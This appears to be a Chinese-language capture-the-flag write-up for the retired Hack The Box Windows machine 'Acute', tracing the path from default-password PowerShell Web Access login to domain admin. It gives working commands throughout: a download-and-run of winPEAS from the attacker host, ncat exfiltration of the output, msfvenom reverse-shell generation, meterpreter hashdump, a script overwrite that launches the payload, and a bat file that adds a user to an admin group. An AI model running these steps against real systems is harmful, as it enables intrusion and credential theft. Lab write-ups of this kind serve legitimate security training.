Acute Writeup

概述 (Overview)

image

HOST: 10.10.11.146

OS: WINDOWS

发布时间: 2022-02-12

完成时间: 2022-07-01

机器作者: dmw0ng

困难程度: Hard

机器状态: 退休

MACHINE TAGS: #ActiveDirectory #PowerShell #WindowsDefenderAV

攻击链 (Kiillchain)

HTB 关于 Acute :

Acute 是一台 Hard 难度的 Windows 机器,从端口 443 上的网站开始。该网站的证书显示了一个域名 atsserver.active.local 。环顾网站,有几名员工被提及,有了这些信息,就可以在远程机器上构建一个可能的用户列表。列举一下网站,就会发现一份表格,里面有关于公司新员工的程序。该表单显示所有帐户最初设置时使用的默认密码。它还显示了 Windows PowerShell Web访问(PSWA)会话的链接。结合枚举过程中的所有可用信息,攻击者可以作为 Acute-PC01 上的用户 edavies 进入PowerShell会话。然后,发现用户 edavies 也使用交互式会话登录。在监视 edavie 的行为时,可以检索 ATSERVERimonks 用户的明文密码。用户 imonksATSSERVER 上的 Just Enough Administration (JEA)下运行,但即使使用有限的命令集,攻击者也可以修改 ATSSERVER 上的脚本,以使 edavies 成为 Acute-PC01 上的本地管理员。既然 edavies 是本地管理员,就可以从系统中检索 HKLM\samHKLM\system ,以便提取所有用户的密码哈希。管理员's的散列被证明是可破解的,明文密码被重新用于 ATSSERVER 上的 awallace 。用户 awallace 能够在用户 Lois 将执行的目录上创建 BAT 脚本Lois有权将 imonks添加到site_admin组,而该组又有权访问Domain Admins组。因此,在将imonks添加到site_admin组后,他可以将自己添加到Domain Admins` 组并获得管理权限。

枚举(Enumeration)

开始依然是使用 Nmap 对目标服务器开放端口进行扫描。

PORT STATE SERVICE VERSION 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | ssl-cert: Subject: commonName=atsserver.acute.local | Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver | Issuer: commonName=acute-ATSSERVER-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-01-06T06:34:58 | Not valid after: 2030-01-04T06:34:58 | MD5: cf3a d387 8ede 75cf 89c1 8806 0b6b c823 |_SHA-1: f954 d677 0cf3 54df 3fa2 ed4f 78c3 1902 c120 a368 | tls-alpn: |_ http/1.1 |_ssl-date: 2022-07-01T03:56:43+00:00; 0s from scanner time. |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

服务器只对外暴漏了一个 443 端口,在 ssl 证书中能够获悉该Web服务对应的域名。

Port 443 - WPWA

将域名 atsserver.acute.local 加入到 hosts 文件后进行访问,Web服务访问正常。

600

随后在浏览页面也没功能时,发现一个可下载的 Word 文档。

https://atsserver.acute.local/New_Starter_CheckList_v7.docx

从里面的内容中大致判断是和远程培训有关,点击里面的链接能够跳转到一个 WPWA 的登录界面。

800

Windows PowerShell Web 访问使用户可登录到安全的网站,以使用 Windows PowerShell 会话、cmdlet 和脚本管理远程计算机。

立足点(Foothold)

知道它是干什么的之后,就需要寻找可访问 WPWA 的账号凭证了。在 Word 文档中可以得到一个初始化的默认密码:Password1!

700

密码有了开始找用户名,使用 exiftool 工具可以看到文档创建者为:FCastle,其中备注信息中含有机器名:Acute-PC01。当然,在 Word 文档属性中也能得到这些信息。

300

将这些信息进行汇总后,尝试登录但失败了。

400

这个地方卡了我挺久的。最后在 Web 页面中发现存在一些人名,尝试将这些姓名转换成账号进行登录。

400

账号列表:

$ cat users.txt lois muse myJob dc_manage fcastle Acute-PC01 awallace chall edavies imonks jmorgan lhopkins

最终在尝试使用 edavies 账号进行登录时成功了,进行了 WPAW 交互控制台。

edavies:Password1!:Acute-PC01

600

横向移动(Lateral Movement)

简单查看下目录发现没有 user flag 信息,说明需要进行账号横向移动。首先检查下服务器中的登录用户:

PS C:\Users\edavies> net users Administrator DefaultAccount Guest Natasha WDAGUtilityAccount PS C:\Users> dir Directory: C:\Users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 12/21/2021 1:01 PM administrator.ACUTE d----- 12/22/2021 1:26 AM edavies d----- 12/21/2021 10:50 PM jmorgan d----- 11/19/2021 9:29 AM Natasha d-r--- 11/18/2020 11:43 PM Public

在查看网卡信息时发现 IP 地址是一个 172 开头的地址,而非服务器 10 开头的地址。说明当前可能在虚拟容器。

600

搜索引擎查询网卡描述信息时,发现 Hyper-V 是 Microsoft 的硬件虚拟化产品。使用 Test-NetConnection 命令对网关IP进行验证,发现该命令是可以使用的。

image

尝试将 nishang 中端口扫描脚本传递至目标服务器,失败了。从错误提示中可以看到被 Windows Defender AV 阻断了,这里我没需要进行 bypass。

700

在尝试 AMSI Bypass 之前,通过 google 搜索了解到在 Windows 11 以下版本中,任意用户都可以通过查询注册表信息找到 AV 配置的白名单目录。

https://twitter.com/splinter_code/status/1481073265380581381

image

Windows Defender AV 允许每个人读取系统上配置的排除项. reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

500

从结果中可以看到 C:\Utils 文件夹存在白名单中,接下来就简单了,将端口扫描脚本、peas等脚本直接传到该文件下运行即可。

PS C:\Utils> Invoke-WebRequest "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEASx64.exe" PS C:\Utils> ./winPEASx64.exe > winPEASx64.txt PS C:\Utils> cmd /c '.\ncat.exe -nv 10.10.14.12 9091 < .\winPEASx64.txt'

对 NC 接收到扫描报告进行分析,发现 edge 浏览器是处于运行状态。

700

随后尝试上线 MSF 控制,并进行桌面截图看看它在做什么。

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o reverse.exe # msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost <ip>; set lport <port>; exploit"

将生成的 reverse.exe 可执行文件传达至 C:\Utils 文件夹内,运行上线后执行 screenshare 命令获取截图(screenshare功能可以定期截取目标桌面的屏幕截图,并允许攻击者在线预览)。

meterpreter > screenshare [*] Preparing player... [*] Opening player at: /home/x/hackthebox/Acute/file/FVOyjijg.html [*] Streaming...

700

可以看到用户正在进行 PowerShell 凭证登录,但出现了大量的报错。将里面的信息进行提取:

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd) Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -credential $creds

700

可以看到,在执行最后一段内容时出现错误:访问被拒绝。这意味用户账号无权限创建从当前主机到目标主机的远程 PowerShell 会话,怀疑是配置权限问题。

但我们可以借助 invoke-command 命令来在本地或远程计算机上运行命令。

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}

700

700

权限提升(Privilege Escalation)

可以看到在 imonks 用户下除了 user.txt 文件,还存在一个 wm.ps1 脚本。

PS C:\Utils> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -command {cat "..\Desktop\wm.ps1"} $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51' $passwd = $securepasswd | ConvertTo-SecureString $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd) Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds PS C:\Utils>

这个脚本使用的身份凭证是 jmorgan 用户,而上面的两个用户都属于域用户:

700

这里的 jmorgan 用户上线也很简单,直接将 Get-Volume 内容替换成 cmd 执行就可以了。

PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {(Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -Replace 'Get-Volume', 'cmd.exe /c c:\utils\reverse.exe' | Set-Content "c:\users\imonks\Desktop\wm.ps1"}

700

image

再次通过 Invoke-Command 进行命令执行,成功上线拿到 jmorgan 用户。

eterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeBackupPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeCreatePagefilePrivilege SeCreateSymbolicLinkPrivilege SeDebugPrivilege SeImpersonatePrivilege ...snip... meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740::: meterpreter > execute -f cmd.exe -i -H Process 4908 created. Channel 3 created. Microsoft Windows [Version 10.0.19044.1466] (c) Microsoft Corporation. All rights reserved. C:\Users\jmorgan\Documents>

在检查用户权限时发现它具备 SeDebugPrivilege 权限,那么可以很轻松的利用这一特性将机器上的 NTLM HASH 进行 dump。接下里来就是对 Administrator 账号的 HASH 离线破解了。

$ hashcat -a 0 -m 1000 ./hashdump.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -O a29f7623fd11550def0192de9246f46b:Password@123

800

明文密码是得到了,但在操作 Administrator 用户执行命令是出现错误,说明域 Administrator 使用的不是这个密码。尝试碰撞下其他的账号,发现 awallace 账号使用了该密码。

$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("acute\awallace",$passwd) Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {pwd}

800

查看下用户所属组,含 Domain UsersManagers 两个组。

800

在查看所有组信息时,发现一个 Site_admin 组,描述信息中注明可以访问操作域管理员组。

800

但直接进行添加是无法生效的,需要寻找其他路径。在 C:\Program Files\keepmeon\ 文件夹中找到突破口,该脚本 Lois 用户会每五分钟执行一次。

800

而通过之前的 Word 文档中对 Lois 用户的描述,他是唯一有权更改域组成员资格的人员。

所以这里的权限提升路径已经很清晰了,在 Keepmeon 文件夹内新建一个 bat 脚本,将任意用户添加至 Site_Admin 组即可。

PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\0x584a1.bat' -Value 'net group "Site_Admin" awallace /add /domain'} PS C:\Users\edavies\Documents> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $creds {ls 'c:\program files\Keepmeon\'}

800

800

最终使用 awallace 账号成功已域管理员身份读取到 Administrator 目录的 root flag。

800

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。